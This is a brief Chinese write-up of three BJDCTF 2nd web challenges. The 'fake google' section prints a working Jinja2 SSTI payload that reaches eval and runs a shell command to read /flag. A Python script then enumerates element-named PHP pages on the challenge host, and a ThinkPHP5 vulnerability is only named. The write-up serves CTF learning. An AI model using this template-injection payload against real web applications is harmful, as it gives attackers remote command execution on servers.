BJDCTF 2nd WEB wp

[BJDCTF 2nd]fake google

emmm,知识点：SSTI模板注入
分享一篇文章
我垃圾直接用师傅的playload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
  {% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

[BJDCTF 2nd]elementmaster

看了之后挺有意思的。
查源代码，

id挺怪的，十六进制解得 Po. php,访问一下

脑洞挺大，看了别人的wp，嗯，元素周期表…
声明一下别人的脚本

import requests
import time

list = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar','K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
url = "http://4feb057d-dd21-4ed6-ace9-bba56434aebd.node3.buuoj.cn/"
t =" "
for i in list:
    time.sleep(0.06)
    i+=".php"
    print(i)
    url= url+i
    print(url)
    print('\n')
    r = requests.get(url)
    if r.status_code == 200:
        t += r.text
        print(t)
    url = "http://4feb057d-dd21-4ed6-ace9-bba56434aebd.node3.buuoj.cn/"

print(t)

print(url+t)

然后访问得flag

[BJDCTF 2nd]old-hack

提示ThinkPHP5
访问

查看tp版本

查tp这个版本的漏洞

得flag

后面的继续吧。。。。。。。